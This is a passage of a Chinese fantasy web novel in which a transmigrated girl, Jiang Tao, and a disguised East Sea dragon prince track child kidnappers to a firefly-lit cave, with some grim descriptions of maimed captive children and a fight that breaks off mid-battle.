就算有人教,以她的修为也未必能学会。
男人有些傲娇地别过脸:“这有什么难的,真是少见多怪。”
姜桃无语,决定不跟他一般见识。既然有人肯帮忙,她欣然接受便是了。
20.三郎
姜桃原本还以为需要自己打配合,可下一秒,男人屈了屈手指,他手心中的笛子就跟杂耍艺人腰间那只换了个儿,速度之快,要不是姜桃一直盯着,可能都看不出来。
“好厉害,好厉害。”
少见多怪的姜小桃毫不吝啬夸赞,她是真心觉得这套法术牛掰,因为小的时候她就幻想过将自己手里的面包,与街角橱窗里的巧克力蛋糕互换,或者把自己用旧了的自动铅笔,换成广告里的日本进口品牌,也体验一番同学们艳羡的目光。
可这都只能停留在想象里,她用的仍然是用了好几年的自动铅,吃的也都只是两三块一只的便宜面包。她自小身体不好,家里已经为她付出很多钱了,她根本不好意思提出奢求。
如今这种可望不可及的法术,就在眼前实现,她实在难掩激动,眼睛瞪得大大,直到男人不悦地拿手肘怼了她一把,以眼神示意她赶紧摸。
姜桃从他手中接过笛子,他的手指很凉,可笛子比他手指还冰冷,令她忍不住打了个哆嗦。
接着,一团烟雾形成的幻象在她眼前徐徐展开。
一个三四岁的女孩,在哇哇大哭,她身上有血,四周是苔草丛生的岩壁,很黑很暗,却又有荧荧光亮能够照清周围。她周围好像还有些什么东西,可姜桃的法力只能维持十几秒,很快就歇火了,烟雾散去,周围仍是熙熙攘攘看热闹的人群。
她视线回焦,看见男人正一瞬不瞬地盯着她看,好看的海蓝色眸子里仿佛涌动着海波。
“你看见什么了?”他问。
姜桃如实说了。
“就这些?”
“目前只看到这些,当然我还能一直看,不过得过一会儿才行,能力有冷却期。”姜桃有点不好意思地解释说。
她的法力实在有限,面对这些“高手”时,难免会心生自卑,睫毛也没什么底气地垂覆下来。
不过男人并没有露出不屑或者不满的神情,他只扭头瞄了一眼那艺人,就回过头问她一会儿是多久。
“大概……半天吧。”姜桃挠挠额角,讪讪达到。
年轻人叹了一口气,将她从头到脚打量一圈,语气无奈:“明明都掌握这种奇葩法术了,法力却如此有限,真不知道你是厉害呢,还是差劲呢?”
姜桃无言以对,是能继续讪笑。
“对了,你为何要追查这个杂耍艺人,莫非那个被伤害的女孩子,是你的亲人?”姜桃决定转移话题。
不过看男人的相貌,清冷宛如谪仙,身上丝毫不带人间烟火气,不大可能有那么一个人类感十足的亲人,姜桃猜测他是哪位大仙的弟子,因为他既厉害,又不带妖气,多半也是修道之人。
“不是。”男人立刻回道,“我只是受人之托罢了。”
姜桃觉得他在撒谎,可她没有证据。不过既然他们殊途同归,短暂合作一下还是可以的。
“那下午的时候我再试一下,晚上也能试一次。”姜桃掰起手指头,“两次估计就能分辨得差不多了。若还不行,我就凌晨起来再来一次,早饭后也能追加一次——”
“倒也不用那么频繁。”年轻人眉峰轻拢,“你看样子挺弱的,连续动用法力会对身体造成伤害,这一点你师父没教你吗?”
还真没教过,教了也忘了,她能掌握这个“摸骨寻踪”的技术,完全是因为原主用过太多次,都刻进神经元里了,她只要稍一回想就手到擒来,仿佛是人失忆了也还记得怎么吃饭喝水那般。
“没事,我只是看着弱而已,法力储备远比你想象的多。”这点她没撒谎,就像那次给哪吒疗伤,她动用了很多法力,效果虽然不尽如人意,但她自己是丝毫没感到消耗,再治一百个人也不在话下。
“而且,我们抓紧一点,那个女孩说不定还有救。这骨头的质地很新鲜,大约不超过两天,所以我尽快分辨出更多情况,到时候我们一起去寻找如何?”姜桃思考了一番后,发出邀请道。
男人显然也是这个意思,因为没有姜桃的能力,他就算再有本事也寸步难行,便点了点头。
“那明日这个时候,我在这里等你。”他说道。
“行。对了,我叫姜桃,你怎么称呼啊?”
男人目光躲闪,半天才蹦出一个名字:“你就叫我张……三郎吧。”
扑哧——
姜桃实在憋不住笑了,这是什么法外狂徒啊,真的有人叫这种名字吗?
这么一个清润高挑的偏偏佳公子,却取了这样一个名字,也不知道他父母怎么想的——
哦,对哈,这个时代张三还是个很普通的名字,不行,又想笑了——
她使劲绷住脸,肩膀却一波未平一波又起地接连耸动。
“你、你笑什么——”男子显然受到了侮辱,居然还红了脸,“我的名字很好笑吗?”
“没、没、没,那个,以后我还是直接叫你‘三郎’吧——”姜桃使劲将一声笑压进胸腔,往后退了一步道。
虽然显得亲密了点,但总比“张三”强,而男子似乎对人类的称呼不大感冒,沉着一张俊脸同意了。
他们分道扬镳,姜桃继续逛了会儿集市,忽然想起哪吒的“心愿清单”,心头一动,买了几桶颜料,呼哧呼哧拎回李府。
购物过程中,看见有卖贝壳手链的,觉得很漂亮,便少女心大发买了一串。
哪吒今日在府里学习,姜桃忙完自己的事,实在闲得无聊,就捧着几册竹简,跑到院子里,一边吃苹果一边看哪吒学习法术。
太乙真人比她想象中的接地气多了,在哪儿都能心平气和地教学,原本她还以为修仙只会在遥远的山顶上,高大上地进行呢。
哪吒还是挺淘,偷着把太乙的拂尘绑成麻花辫,但只要她一过来,立刻就摆出成熟稳重的态度,一板一眼地学习,手指头掰来晃去,成功完成一项项法术。
他是真的天赋异禀,没有一个知识点需要二遍传授,全部一次就成,连太乙真人都忍不住啧啧称赞,说他比他厉害多了,他当初学这些时,好多都要练习几遍便才能掌握。
姜桃想起了男人的换物术和变形术,心里也升起了学点什么的想法。其实有好几次她都想问问太乙,自己可不可以跟着学习一小下,可终究没好意思开口。
哪吒虽然小小的,可在她眼里,与她的差别是天堑一般的,是她一辈子都可望而不可及的,所以她根本没那个厚脸皮开口,便只远远地、假装若无其事地偷偷观看,慢慢竟也学会了两招。
都挺基本,但于她而言已经很惊喜了,一个是调整内息,一个是初级控火术。
但她发觉了一个奇怪之处,就拿控火术而言,她回到房间练习好几次也无法成功,却在哪吒做成的时候,阴差阳错也成功了,甚至火焰的成色与规模都不小,仿佛是借了他的光一般。
而一旦他转去练习别的,她便只能从掌心窜出几颗小火星,运气好点能聚拢出一簇火,只是比快没气的打火机还微弱,看上去可怜兮兮的。
太阳下山前,太乙真人跟李靖寒暄了几句后,腾云驾雾离开了,姜桃跳下石头,走到哪吒身边,与他打招呼。
“哪吒你好厉害啊,现在都会这么多法术了。”姜桃由衷地开心道。
哪
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吒小朋友翘起鼻子,一脸骄傲,两手又耍酷地抄进裤兜里。
还挺臭屁。
“有什么难的,只要学了就都会,根本毫不费力。”
姜桃感觉心口中了一箭,悻悻地陪笑两声,又好奇地问他会不会变形术。
他居然会,弯身捡起一块石子,眨眼就将它变成了一只桃子,还凑到鼻端闻了闻。
不知为何,他这个举动总是让姜桃莫名脸红心热,明明只是个小屁孩——
“我还会更厉害的呢。”说着,脚丫一抬,蹦上石桌,变成了太乙真人的模样。两根手指还煞有介事地捻着胡须。
姜桃震惊了,心里霎时闪过一丝庆幸。
幸好先前没向太乙真人开口,不然才真是自取其辱。
他真的太聪明太厉害了,让她难以避免的心生自卑。
她又想起了自己手心中的那簇微弱的小火苗,忽然感到可悲又可笑。
不过她与哪吒,本来就是凡人与天神之间的差别,为何还会生出这种自不量力的伤感呢?
她想不明白,索性就不想了,笑着对哪吒说:“哪吒,我买了新的颜料,我们一起做一只小狗的不倒翁吧。”
“太乙真人”露出惊喜的雀跃的表情,噗的一声变回小哪吒,牵着姜桃的手迫不及待就要往房间里拉,连深沉都忘了装。
他的手热乎乎的,走到一半忽然停住,转过身子在她身上嗅了嗅。
“阿桃,你身上怎么一股海盐的味道?”他仰起小脸,眼珠乌黑地问道。
“可能是在鱼市上沾到的吧。”姜桃想起那艺人表演的地方就在鱼市隔壁。
“哦。”哪吒歪了歪脑袋,没再说什么,继续雀跃地牵着姜桃往屋里跑。
李靖的不倒翁在几天前不幸被正主发现,现在已变成一堆破木板,所以这回他们决定做一个小的,可以放在枕头边把玩。
做的过程很愉快,让姜桃重新找回了以前的感觉,没有自卑也没有那么多对地位差别的感慨。
哪吒热乎乎地在她身边窜来窜去,让她觉得很可爱,就是不知道是否错觉,总觉得他好几次是有意往她身边贴,鼻子也特别爱往她颈间领口嗅。
晚上回去,她脱下外袍,使劲闻了闻自己,除了晚上吃的酱汤味,什么也没闻着。
所以他到底在嗅什么呢?
很快她摒弃了胡思乱想,盘腿坐在床上,握着那枚骨笛集中精力开始了第三次感知。
第二次是在观看哪吒学习的间隙完成的,没有额外的新发现,只是注意到墙壁上的苔藓很厚重,想来是一处阴湿的山洞,很可能临海,再有就是女孩旁边不只有一个阴影,还有好多个,只是她没来得及深入辨别,技能就冷却了。
这次,她将注意力集中在阴影上,终于在结束前看清,那居然也是孩子——好多个孩子,缩成一团躺在各个角落,每一个都奄奄一息,饱受摧残。
她心头一寒,愤怒又无措。
有那么一瞬间,她想去找李靖,毕竟他是陈塘关最大的官,然而一想到他那古板别扭的性格和种种直男行为,还是作罢了。
那个叫做“三郎”的人,看上去比他靠谱多了,她可以先跟他一起搜集罪证,然后再寻求李靖的助力。
不然她都怕他把她也不分青红皂白扔进小黑屋。
想到三郎,她又想起新买的贝壳手链,连忙从袖口兜里摸出来,兴冲冲戴在手腕上观摩起来。
很好,很漂亮,很有某段时间特别流行的古希腊风。
她满意地点点头,钻进被窝,一手红绳一手贝壳地睡着了。
21.梦
临近凌晨时分,姜桃做了一个梦。
她梦见自己变成了一株小草,正用两条草叶状胳膊抱着脑袋四处逃窜。
天空是一片混沌的灰蒙,厚重得让人喘不上气来,空气中没有风,却劈里啪啦地下着雨,雨水也是灰蒙蒙的,砸在身上特别痛。
她哭唧唧地到处寻找躲雨的地方,四周伫立着很多块雄伟坚硬的石头,她求助地跑到其中一块下面,可还没站稳,就被赶了出去。
石头居然会说话,还轻蔑又凶狠,吓得她再度落荒而逃,跑到另一块看似很圆润的石头底下。
可她还是被赶走了,这些石头都很高傲,看不起她这一株小草,连稍稍为她遮风挡雨都不肯,更别提让她长久地居住下来做邻居了。
雨珠越来越大,越来越密集,她被砸得很疼,叶子都折了大半,哭嚎着不知该逃向何处。这里是一片荒芜,草叶只有她一株,剩下的就全是石头。
忽然,她注意到了一颗不算大,但通体剔透、形状近乎于一个圆的石头,周身散发的气息也与其他石头很不一样,她小小地胆怯了一下,觉得其他石头都拒她于千里之外,这样一颗美丽的仿佛有神性的石头会搭理她吗?
可她别无选择,只能莽撞地试一次,抱着脑袋往前跑,叶子在雨丝中弯折、凋零,终于在被拍打得四散零落前,跑到了那块石头下。
她试探地伸出小脚丫,往前迈了一步,然后又是一步。
石头始终沉默静止,仿佛是在沉睡。她越发大胆起来,直接将整个身体都藏在它与地面的缝隙间。
雨水被隔绝,瀑布般从她面前坠落,她总算松了一口气,一边胆怯地偷瞄石头,一边心疼地抚摸身上所剩不多的凄惨叶片,努力将它们一根根抻平。
可无论她怎么努力,它们最终都会垂下来,她呜呜咽咽地哭了,身上的水珠迸溅到石头上。
石头缓缓睁开了眼睛,一股冷沉又张扬的气势从她身后袭来,唬得她浑身一哆嗦,颤颤巍巍转过头去。
如果它再赶她走,她就彻底死翘翘了。
然而现在的问题,不是它会不会赶她走,而是——
它会不会忽然伸出手,一把将她捏死。
因为它散发出来的气势,就是这样的,凶险且弥漫着杀意。
她眼泪汪汪地扭头看它,身子本能地往外挪蹭,像极了一只被大灰狼盯上的小兔。
轰隆,天上闪过一阵闷雷,姜桃从梦中惊醒,扑通一声滚落在地。
她一边揉着腰,一边揉着眼往床上爬,心想真是一个奇怪的梦。
很快她就又睡着了,这回没再做梦,一觉睡到鸡鸣三声。
飞速吃过早饭后,她就以熟悉环境为借口跑到集市上,扭着脖子寻找“三郎”。
找了半天没找到,这才想起是她来早了,约定的时间是在半个时辰后,于是她买了一串糖葫芦,坐在一口井旁边吃。
周围来来往往都是采集货物的百姓,他们虽然衣着简朴,却很有朝气与干劲,足可见陈塘关被李靖管理的很好,只是——
“我三嫂家里的小儿子昨天失踪了,该不会也被海怪抓走吃了吧?”一个小媳妇模样的女孩,对相伴采购的闺蜜说道,她眼眶很红,像是刚刚哭过。
“除了海怪还能是谁呢,这个月都已经有十几个孩子失踪了,一定是被它们掳去了。”闺蜜说道,抚了一下她的肩膀。
“可东海一直都很安静啊,东海龙王从不纵容手下吃人,偶尔有犯戒的海妖,也都被驱逐了,为何如今又开始吃人了?”
“妖怪就是妖怪,吃人是本能,控制得了一时控制不了一世,要我说就是狗改不了吃屎。”
两人渐渐走远,对话声也听不见了,姜桃却陷入了深思。
小孩子连续失踪,会不会跟那个手艺人有关?毕竟她在幻像中,看见了很多小孩子绻缩着的身影轮廓。
正想着,一道身影落在她面前,将她整个罩住,带来一阵阴凉。
她抬起一双水盈盈的眸子:“哦,你来了。还挺早嘛。”
“你不比我还早吗?”三郎一本正经指出道,今天他换了一身新衣服,质地细腻精致,很配他水蓝色的长发,不过姜桃却隐隐为它感到担心。
今天要爬很多山,是不是太浪费了?
姜桃开门见山把发现的事情都告诉了他,包括看见很多孩子,山洞里有苔藓等。
“估计是某座临海的山峦。”最后她推理道,朝东海的方向指了指,“我们直接从那里搜查吧。”
三郎沉默半晌,点点头,一副若有所思的样子。
姜桃跳下井口,看到有不少女孩在偷偷往这里打量。
这也不奇怪,这样出尘俊秀的美男子,可不是天天能见到的。
如果自己坚持修仙,会不会也变得更美呢?她不大甘心地揉了揉自己的鹅蛋脸,总觉得鼻子要是再坚#挺一点就好了。
还有眉毛,要是也像哪吒那样乌黑舒展就好了。
“咳咳”三郎清清嗓子,打断了她莫名其妙的遐想,她讪讪放下揉搓五官的手,假装整理腰带,躲过这波尴尬。
“那我们现在就出发吧。”三郎长身玉立地说,抬脚就要走。
“等等。”姜桃一把扯住他手肘处衣料,“行动前储备点吃的吧,爬山很消耗体力的。”
说罢,也没等他反应,蹦跳着跑到卖早餐的摊位,买了几只包子还有红豆饼,塞进随身的包裹里。
回来时,三郎正盯着井口若有所思,一本正经的样子让她忽然起了玩心,抬高嗓门,远远地唤道:“哟,三郎,我回来了——”
三郎如遭雷击,猛地一颤,扭过头冲她蹙起眉梢:“你、你小点声……”
说罢,还四处看看,像是生怕被谁发现似的。
姜桃摸出一张红豆饼塞给他:“吃点吧,吃多了好有力气干活。”
三郎对油乎乎的豆饼略有抗拒,捏在指尖一动不动,仿佛没吃过似的,一脸惊异地看着姜桃。
“快吃吧,可好吃了,是我在陈塘关发现的最好吃的食物。我和你说,你可别指望我啥,出力的活可都指你了。”姜桃也摸出一张饼,津津有味吃起来。
见她吃得香喷喷,三郎努力掩去眼中嫌弃,渐渐也生出一股好奇,放在嘴边咬了一口。
确实好吃。
就是太油了,人类怎么会喜欢吃这种腻歪的东西?
吐槽归吐槽,他还是被那股淳朴浓厚的香味吸引,不知不觉吃了一大半。
而旁边,女孩又窸窸窣窣吃起了包子,腮帮子鼓囊囊的,就像只小仓鼠,被阳光涂上一层毛茸茸的金边。
他别过头,把最后一口豆饼咽下去,掏出手帕细细擦了手指。
整个白天,他们搜了整整一座山,每个洞口都找了,也没找到孩子的踪迹。姜桃
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对自己产生了怀疑,于是又摸着骨头感应了一番,仍是阴暗的有微光的布满苔藓的山洞,没有错。
太阳即将落山,她不得不回去了,三郎想了想,也随她一同下山。
“我回去再试试,总觉得有什么很重要的细节漏下了。”姜桃熟练地跳下一块块石头,姿态虽然没有三郎轻盈若仙,但也足够矫健,如同一只梅花鹿。
“行,晚上的时候我去旁边那座山上再找找。”三郎淡淡说道。
“诶,你不睡觉吗?”
“几日不睡也无妨。”
“厉害,我一天不睡都不行,第二天会变成咸鱼的。”
“你是人,怎么变成鱼?”三郎莫名较真起来。
“只是一个比喻。”姜桃觉得他这一板一眼的样子还挺好玩,与那张漂亮的脸蛋形成强烈反差。
“好啦,那我就先回去了,你也别太累着自己。”姜桃挥挥手,刚要转身,三郎突然上前一步,动作过于突兀,差点一脚踩到她裙角,惊得他连忙又退回去,浑身透着尴尬。
“时、时候也不早了,吃些东西再回去吧,我……请你。”他眼神飘忽,根本没在看她,有些磕磕巴巴地说道。
有人请客,姜桃自然不会拒绝,她想了想,指着卖烤鱿鱼的摊位:“那我就要一串鱿鱼吧。”
三郎点点头,走过去,买了两串鱿鱼。
“那个,三郎,你是不是忘了什么?”姜桃哭笑不得地看着他递到她手里的鱿鱼串,“我不吃生的——”
人家是烤鱿鱼的摊位,他付过钱挑了两串生的,直接转身就走,给摊主都整懵了,在身后伸出了尔康手。
三郎露出恍然大悟似的神情,抽搐了一下唇角,唰地一转身,将生鱿鱼串重新塞给摊主,等他烤熟了才递给姜桃。
两人沉默无言地吃起来,姜桃总觉得相对于烤熟的,他好像更愿意吃生的,咬得索然无味。
“呐,你师父是谁呀?”她忍不住好奇问了一句。
三郎没有第一时间回答,而是慢慢嚼了两口,才朝东海的方向努努下巴。
“在海那一边,师父不让我说。”他含糊道,继续埋头索然无味地吃鱿鱼。
姜桃见他不愿意说,也就没再问,晃着两条小腿将鱿鱼一扫而光。
“那个,”三郎从衣兜里掏出一只小小的海螺,“这个给你,如果你发现了什么重要线索,只要吹响它,我马上就会出现。”
“诶?”姜桃好奇地看着那只海螺,拇指大小,色泽清透,漂亮得仿佛珊瑚制成,每一道纹理都闪着精美的光华,美不胜收。
不过给海螺这个行为,好像在哪里见过呢?
“这、这么做是为了提高搜寻速度,没别的意思,你若是不想要就算了——”他语气倏然强烈,手掌向后缩去,似乎后悔了方才的举动。
可在他缩回手前,姜桃已经灵巧地攫过海螺,攥紧掌心里。
“行,那我就收下了。若是有什么重要发现,第一时间告诉你。”她笑嘻嘻道,心想这只海螺很配她那串手链。
她不知道的是,在她转过身开心离去时,三郎一直站在原地望着她背影,直到她彻底融入远处人群。
然后他像昨日一样,跟踪起那个杂耍艺人,但那人回去的地方依然是驿馆,看不出丝毫破绽。
果然还是有同伙么?他隐身在客房门外阴影中,陷入沉思,慢慢退了出来。
22.哪吒
晚饭的时候,哪吒特别沉默,只专注地扒着自己碗里的饭,连李靖都挑不出茬来。
他腰杆一会儿坐得挺直,一会儿又塌下去,唯一没变的就是埋头吃饭的动作,安静老实得简直都不像是他了。
殷夫人关切地看了他好几眼,姜桃越过殷夫人也看了两眼,可每次感应到她的目光,他的嘴角就下意识往下一撇,仿佛是蒙受了什么委屈似的。
姜桃没有多想,满脑子都是幻象中那个被忽略的细节,它会是什么呢?
她迅速吃完晚饭,却没好意思提早离开,而是等大家都吃完才随大流起身,小碎步往庭院里走。
“阿桃。”
身后传来哪吒的声音,他今日天还没亮就随太乙真人去山上修炼了,许是累到了,脸上有些疲态,眼睑下的乌青也深了一层。
明明昨晚他应该睡得很好啊,他们一起做了小狗不倒翁,她离开前他都是很高兴的样子,躺在床上举着小狗,轮廓被烛光照得十分温馨可爱。
“哪吒,今天是不是累坏了呀?又学到什么好东西了?”姜桃笑盈盈问道,心里却着急赶紧回屋,趁时候还早尽快摸骨感知一次。
哪吒慢悠悠走到她跟前,眼睛不经意扫过她的手腕,睫毛往下垂了垂,看不清眼中神色,只听他用难得矜持的声音说道:
“没学什么特别的。阿桃,你能陪我踢一会儿沙袋吗,一整天都跟老头子在一块,好无聊啊。”
语调里竟有股小猫咪般的撒娇意味,若是平时,姜桃一定爱心泛滥,哪怕冒着胃痉挛的风险也要陪他玩几个回合,可今日,她有要事在身,实在难以抽身。
她若是迟一日,那些孩子的危险就会多一分。
“那个,哪吒,我今天吃得有些撑,肚子不舒服,改日再陪你玩好不好?”她用哄孩子的语气温柔拒绝道。
本以为哪吒会继续纠缠,可他竟意外地没有强求,面色无波地“哦”了一声,垂下眼睛,双手抄在兜里,转身离开了。
那略显落寞的小身影,看着十分惹人心疼。
姜桃咬咬牙,决定等把这事搞定后,一定每天都陪他玩。
她毅然转过身,朝自己房间走去。
就在她转身的那一刻,哪吒忽然停住脚步,回过头来,一直望着她离去的背影,目光久久徘徊在她手腕处,神色黯然、复杂。
回到房间,他踩着脚丫一路走到榻边,沿途碰掉了很多书简,还有一些瓶瓶罐罐,可他理都不理,径直拿起搁在床头的小狗不倒翁,垂眸看了一阵,然后恼怒地扔到地上。
他爬上床,板着脸怒气冲冲地躺下,脚丫翘在膝盖上,左右来回轮换,最后扑通一声将脸埋进被子里。
过了大约半炷香时间,他冷不丁地又坐起来,弯腰捡起躺在地上的不倒翁,拍了拍灰,重新放回枕头旁,黑漆漆的眼睛直直盯着它看,仿佛两片黑洞。
姜桃回到屋中,衣服都没换,就开始了感知。幸运的是,她终于发觉问题出在光上,那样漆黑幽深的山洞里,怎么会有那种星星点点的幽光呢?
怎么看都不像是蜡烛,何况蜡烛也不可能漂浮在空气中。
她和衣而眠,打算睡几个小时,醒来时再进行一次。
再醒时已是深夜,她用冷水洗了把脸,马上开始进入幻象。
这一次,她惊喜地看清楚了,那些光来自于萤火虫。
孩子们被关着的山洞里,有很多很多的萤火虫,这绝对是个重大发现。
她喜出望外,从兜里摸出小海螺,刚想吹,忽然意识到让陌生男人出现在自己房间里不大妥当,便穿好衣裳,蹑手蹑脚走出房间,穿过院子,直接翻墙而出。
这里毕竟是李府,她不方便将陌生人引入其中,便想了个折衷的法子。
她对着天空,轻轻地、尽量不引人注意地吹响海螺,换气的空档,三郎身影便轻飘飘落在她身后,拿手指敲了敲正欲再吹的她的肩膀。
姜桃来不及表示出惊讶,劈头就说道:“是萤火虫。山洞里有特别多的萤火虫。”
三郎吃了一惊,微微狭长的眼睛陡然圆睁,他恍然大悟道:“我知道是哪座山了,只有那里有萤火虫——”
“太好了。”姜桃有种破案进行到最后环节的成就感。
“多谢姑娘,我现在就去排查。”三郎拱手行了一礼,就要离开。
“喂,你等等,我和你一起去。”姜桃急了,她不仅要救孩子,还要还哪吒清白呢。
“这么晚,你出去家人会担心的。”三郎一板一眼道,眼睛朝院墙瞟去。
三更半夜爬墙而出,估计也不是什么正经姑娘,但他仍觉得自己有告知的义务。
“没事,我没有家人,没人会为我担心。万一你大功告成后独享战果,我岂不是白出力了?”姜桃撅着红唇嘀咕道,非要与他一同前去。
“那好吧。”三郎看着气质疏离,却意外好说话,点头同意了。
显然他觉得那山洞里就算有同伙,也不过区区人类,很好对付,带一个拖油瓶也不妨事。
“可我们怎么去——”话音还未落,姜桃就目瞪口呆愣在远处。
前一秒还长身玉立的三郎,下一秒就变成了一条约有百米长的巨龙,盘旋着悬浮在半空中,比她整个身子还大几倍的龙头游动到她面前,龙须像在水中一样浮动在空气里。
“啊,啊,啊——”姜桃嘎巴嘎巴嘴,在发出惊讶声音前连忙捂住嘴巴,只剩一双圆溜溜的眼睛,难以置信地瞪着眼前这条威武又漂亮的水蓝色巨龙。
“你、你居然是龙?”她忽闪着睫毛,心中情绪复杂。
居然看见了传说中的龙,果然很威武气派,还有一种诡异的萌感。
可能是因为他还是一条小龙吧,老气的龙脸上是清澈又板正的神情,总之还挺可爱的。
“你是要驮着我去吗?”姜桃傻乎乎问道。
“那你是想让我用牙叼着你去吗?”三郎眼珠往下转动,一本正经地揶揄道。
“噢。哦。”姜桃薅住他后颈上的鬃毛,笨拙地爬上去,伏在他脖颈附近。
鬃毛柔软浓密,擦在脸上还挺舒服的,像是埋头在云间一般。
趁三郎专心起飞,她使劲蹭了几下,然后打了个硕大的喷嚏。
舒服是舒服,灰尘也不少,她揉着鼻子讪讪坐直,再回首时李府已变成了一个小小的黑点,很快就目不可及了。
“你居然是龙啊。”姜桃再一次感叹道,夜风凉飕飕地从耳边飞驰而过,“那你之前为什么不说呢,还呼哧呼哧地跟我爬山,直接飞上去多好啊。”
“我怕你害怕跑掉,不肯帮我。”沉吟半晌后,他回答道,“而且我此番也是秘密调查,不想惊动太多人。”
“你为什么要调查那个男人呢?你是龙族,一定生活在海里吧,为什么要关心这件事呢?”
“因为你们陆地上的人,都认为是东海妖族偷走了你们的孩子,我有义务调查清楚,还整个东海一个公道。”
“所以你是东海龙族啊。”
就是被猴子抢走定海神针的那个倒霉龙族。
三郎闷哼一声,算是默认,脊背在高空中流畅地游动,带给姜桃一种仿佛在海面上颠簸的飘忽感。
这种感觉十分上头,姜桃稍稍放低身子,重新趴进他丰厚的鬓毛之间。
这一刻,她觉得自己像极了迪士尼在逃公主。
大约又飞了几分钟,三郎开始减速并下降,姜桃俯身看下去,发觉下面是辽阔的东海海面,倒映着满天星辰,宛若缀满碎金,美不胜收。
“那个,你能再低一点吗?最好贴近水面一点。”见他好说话,姜桃无理取闹道。
三郎眼珠朝后面斜了斜,没吭声,但身子已然向下滑去,很快就如蜻蜓一般贴着海面而行,爪子在海面上刮出道道水痕。
姜桃连忙俯低身子,学着迪士尼公主,用手在水面上划动,感受着无边的清凉自之间掠过,最后干脆把脚丫也伸了进去。
她很懂得见好就收,体验了几分钟后就道了声“谢谢”,三郎重新冲上天空,那座山就在前方。
接下来的一切进行的异常顺利,那座山上果然密布着萤火虫,他们循着萤火虫的轨迹,不到半个时辰就寻到了一处山洞,洞里不断传来孩子的抽泣声,和孱弱的呻#吟声。
“没有妖气。”姜桃咕哝道,语带厌恶,“应该单纯就是拐卖儿童的人贩子。”
三郎赞同地点点头,但仍然将姜桃护在身后。
山洞里阴湿昏暗,幸好有萤火虫,使得他们很快就找到了孩子们聚集的洞穴中央。
大约十几个孩子,三三两两抱在一起,有的在睡觉,有的在呻吟,有的在抽泣,还有的一动不动,大约是死掉了。
姜桃现学现卖,从手心中唤出一簇火,火团不大,却足以照亮山洞。
然后她倒抽了一口冷气。
那些孩子,几乎都有一定的残缺,有的没有了腿脚,有的没有耳朵和眼睛,还有的,连皮都只剩下一半——
她下意识往三郎身边靠去,而三郎显然一开始就闻到了浓厚的污血的味道,并没表现出震惊,但他也蹙起了眉头,对眼前情景很是愤怒。
就在这时,一个孩子看见他们,惊声尖叫了起来,然后犹如多米诺骨牌,更多的孩子跟着叫起来,那声音尖锐得令人心寒,带着撕心裂肺的绝望。
显然是将他们也当成了刽子手,姜桃连忙竖起手指,“嘘”“嘘”起来,可孩子们根本停不下来,宛如受惊的小鸟,唯有尖叫能稍稍缓解他们的恐惧。
山洞深处,走出两个人影,一个轮廓还正常,另一个则魁梧得像只熊,而且十分令人恶心的是,他肩膀处似乎坠着一颗硕大的瘤子,看着分外惊悚。
等他们走近了,姜桃才注意到,那人肩膀上的不是什么瘤子,而是一颗长得与他一模一样的人头。
人头面目凶恶,有手有脚,只不过都是婴儿大小,让姜桃一下子联想到了惊悚电影里的寄生胎。
这种简直比单纯的妖怪还瘆人。
“哈哈哈,大哥,真好啊,正感觉无聊就有人送上门的给咱们解闷。”体型正常的那人对畸形人狂笑道,举起手中的长枪。
“一个小美人,一个俊秀郎君,是跑出来私会的野鸳鸯吗?正好,我们把你们的皮都扒下来,做成一套衣服,让你们长长久久地在一起。”回应他话语的不是那个畸形人,而是他肩膀上的寄生胎。
大哥居然是他,真想看看他们的爹娘长啥样,姜桃心里发毛,却仍不忘吐槽。
幸好旁边有条龙,让她能狐假虎威,若是只有她自己,此刻怕是已经吓瘫了。
人有的时候,真的比妖怪还可怕。
“你们到底是何人,为何抓走这些孩子?”三郎冷声质问道,对于他们桀桀的小声无动于衷。
“就是,你们这些恶棍,还不快束手就擒。”姜桃
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挺起腰板,同仇敌忾道。
“呵,原来不是野鸳鸯啊。”畸形人开了口,他手中握着的是一把巨斧。
两人整齐划一地朝他们逼近,一个孩子的一只脚伸在外面挡住了大个子的去路,他直接一脚踏上去,骨骼碎裂的声音和孩子的惨叫声一同刺向姜桃耳膜,令她一瞬间忘记了害怕,只想像哪吒一样有生出三头六臂的本事,一拳将他们打成一滩肉泥。
她飞快转动着大脑,思考自己能做些什么。
“他们不难对付,就是这山洞太窄,怕伤到那些孩子。”三郎小声道,朝姜桃使了个眼色,示意她躲到他身后。
姜桃不大甘心,可想了想自己好像真没啥用,没武功也没法宝,搞不好还会成为累赘,便抿抿嘴向后退一步,隐身在他身后。
那两人一同冲过来,作为人类他们身手足够矫健,力气也相当大,尤其是那个畸形人,比师姐这个千年猫妖还有劲儿,冲得三郎都向后踉跄了半步,但还是轻松挡住了,并将他们甩回到原地。
他们的战斗力显然出乎那两人预料,只听寄生胎尖着嗓门吼了一声:“四弟——”
话音还未落,一股杀意从姜桃身后毒蛇般潜来,直冲她后颈。
三郎感知到了危险,毫不犹豫旋转一圈,替她接住了那暗处的突袭。
一把毒箭刺中他心口,姜桃连忙去查看,却被他一把挡住手臂。
“别碰我——”他嗓音骤然嘶哑,声音也断断续续起来,“你小心,刚刚那两个好对付,这个绝不是泛泛之辈——”
他口中喷出一口鲜血,单膝跪在地上,无论怎样拼命都无法再度直立起来,空气中弥漫着一股令人眩晕、手脚发麻的气味。
姜桃稍稍离开他身边,心下感叹这毒真是厉害,光是靠近就有被波及的危险。
“居然没死,你到底是什么人?”射箭之人从洞口阴暗处走进来,竟是那个杂耍艺人。
他手持机关弩,箭尖直指姜桃。
然而还不待姜桃回答,他就按下机关,下一秒箭尖已没入她胸口。
冰凉刺痛的感觉弥漫而来,她好像出血了,但也仅限于此。
她垂头瞅了瞅箭,又抬头抽了抽杂耍艺人,看见他眼中露出震惊神色。
“你怎么还能动?”他嗓音微微发尖,难以置信似的又射了一箭,“我的箭毒,就算是得道的神仙都要昏上三天三夜,为何你毫发无伤?”
这回姜桃反应过来了,侧身躲了过去。看来她不仅没中毒,还能活动自如,就是胸口有股撕裂的钝痛。
“哼,看这个你能不能躲过去。”男人很快放弃了质疑,从怀里掏出一个罩子,朝他们扔过来。
姜桃扑向三郎,带着无法行动的他往一侧滚去,可那罩子仿佛有追踪能力,还能无限扩大,不到半秒就将他么整个罩住。
“哈哈哈,这个法宝,无论你们是何方神圣,都难以逃脱,受死吧!”男人念起了什么咒语,看来他虽然是人类,却也是个修道之人,实力不容小觑。
或者说,法宝不容小觑。
随着咒语,三条火龙从罩中腾起,朝他们袭来,罩内温度宛如岩浆。
三郎忍住剧痛,动用起全部力量,三条水龙从他身后飞射而出,稍稍抵挡了火龙的攻势,但那火龙极其强悍,很快就吞灭了火,朝他们再袭而来。
